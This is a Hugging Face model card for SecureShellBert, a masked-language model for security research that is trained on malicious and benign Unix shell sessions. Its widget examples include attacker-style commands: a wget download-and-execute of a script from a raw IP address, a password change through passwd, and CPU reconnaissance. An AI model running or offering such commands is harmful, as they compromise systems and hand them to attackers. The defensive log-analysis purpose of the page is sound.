Instructions to use SmartDataPolito/SecureShellBert with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use SmartDataPolito/SecureShellBert with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("fill-mask", model="SmartDataPolito/SecureShellBert")# pip install -U transformers accelerate # Load model directly from transformers import AutoTokenizer, AutoModelForMaskedLM tokenizer = AutoTokenizer.from_pretrained("SmartDataPolito/SecureShellBert") model = AutoModelForMaskedLM.from_pretrained("SmartDataPolito/SecureShellBert", device_map="auto") - Notebooks
- Google Colab
- Kaggle
|
Download README.md from SmartDataPolito/SecureShellBert: direct link, hf CLI and curl.
- Browser
- Download file 1.18 kB
-
https://huggingface.co/SmartDataPolito/SecureShellBert/resolve/main/README.md
- Command line
-
hf download hf://SmartDataPolito/SecureShellBert/README.md
-
curl -L -o README.md https://huggingface.co/SmartDataPolito/SecureShellBert/resolve/main/README.md
1.18 kB
metadata
widget:
- text: cat /proc/cpuinfo | cat <mask> | wc -l ;
- text: echo -e pcnv81k7W9cAOnonv81k7W9cAOno | passwd | <mask> ;
- text: >-
cat /proc/cpuinfo | grep name | head -n 1 | awk {<mask>
$4,$5,$6,$7,$8,$9;} ;
- text: wget http://81.23.76.166/bin.sh ; chmod 777 bin.sh ; sh <mask>.sh ;
pipeline_tag: fill-mask
metrics:
- perplexity
SecureShellBert is a CodeBert model fine-tuned for Masked Language Modelling.
The model was domain-adapted following the Huggingface guide using a corpus of >20k Unix sessions. Such sessions are both malign (see more at HaaS) and benign (see more at NLP2Bash) sessions.
The model was trained:
- For 10 epochs
- mlm probability of 0.15
- batch size = 16
- learning rate of 1e-5
- chunk size = 256
This model was used to finetuned LogPrecis. See more at GitHub for code and data, and please cite our article.